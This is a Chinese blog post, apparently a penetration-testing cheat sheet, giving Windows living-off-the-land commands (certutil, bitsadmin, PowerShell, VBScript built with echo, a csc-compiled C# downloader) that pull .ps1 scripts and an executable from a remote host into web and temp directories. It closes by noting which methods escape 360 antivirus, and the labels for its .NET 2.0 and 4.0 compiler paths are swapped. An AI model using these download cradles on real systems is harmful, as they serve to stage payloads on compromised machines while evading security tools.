windows命令下载文件

前言

在windows的环境下,dos窗口里有以下多个命令支持下载。笔者最常用的有powershell、vbs、certutil、bitadmin等命令。

certutil

certutil -urlcache -split -f http://192.168.203.140/b.ps1

适用于server 2003以上版本
详情参考:
https://docs.microsoft.com/en-us/previous-versions/orphan-topics/ws.10/cc773087(v=ws.10)?redirectedfrom=MSDN

bitsadmin

bitsadmin /transfer myDownLoadJob /download /priority normal "http://192.168.203.140/b.ps1" "E:\\phpstudy_pro\\WWW\\b.ps1"

适用于windows 7以上版本。
详情参考:
https://docs.microsoft.com/zh-cn/windows/win32/bits/bitsadmin-tool?redirectedfrom=MSDN

powershell

powershell (new-object Net.WebClient).DownloadFile('http://192.168.203.140/a.ps1','E:\phpstudy_pro\WWW\a.ps1')

适用于windows 7以上版本。

vbs

第一种把下载地址直接echo输入download.vbs。直接下载即可。

echo Set Post = CreateObject("Msxml2.XMLHTTP") >>download.vbs
echo Set Shell = CreateObject("Wscript.Shell") >>download.vbs
echo Post.Open "GET","http://192.168.203.140/a.ps1",0 >>download.vbs
echo Post.Send() >>download.vbs
echo Set aGet = CreateObject("ADODB.Stream") >>download.vbs
echo aGet.Mode = 3 >>download.vbs
echo aGet.Type = 1 >>download.vbs
echo aGet.Open() >>download.vbs
echo aGet.Write(Post.responseBody) >>download.vbs
echo aGet.SaveToFile "D:/a.ps1",2 >>download.vbs

第二种保存脚本后再下载指定文件。

echo set a=createobject(^"adod^"+^"b.stream^"):set w=createobject(^"micro^"+^"soft.xmlhttp^"):w.open^"get^",wsh.arguments(0),0:w.send:a.type=1:a.open:a.write w.responsebody:a.savetofile wsh.arguments(1),2  >> downfile.vbs
cscript downfile.vbs http://192.168.203.140/a.ps1 D:\\tomcat8.5\\webapps\\x.ps1

适用于server 2003 以上版本
更多下载命令参考
Windows下载执行命令大全

csc

创建一个下载文件的cs文件

using System.Net;
namespace downloader
{
    class Program
    {
        static void Main(string[] args)
        {
            WebClient client = new WebClient();
            string URLAddress = @"http://192.168.0.101:8000/s.exe";
            string receivePath = @"c:\temp\s.exe";
            client.DownloadFile(URLAddress, receivePath);
        }
    }
}

可以命名为txt,也可以命名为cs
需要利用.net来编译为exe文件。
.net 2.0 执行

C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc /out:c:\temp\down.exe  c:\temp\down.txt

.net 4.0 执行

C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc /out:c:\temp\down.exe  c:\temp\down.txt

再次执行down.exe 即可下载文件。

总结

经过多方测试,vbs不会遭到360拦截,certutil也可能不会拦截。

你可能感兴趣的:(windows命令下载文件)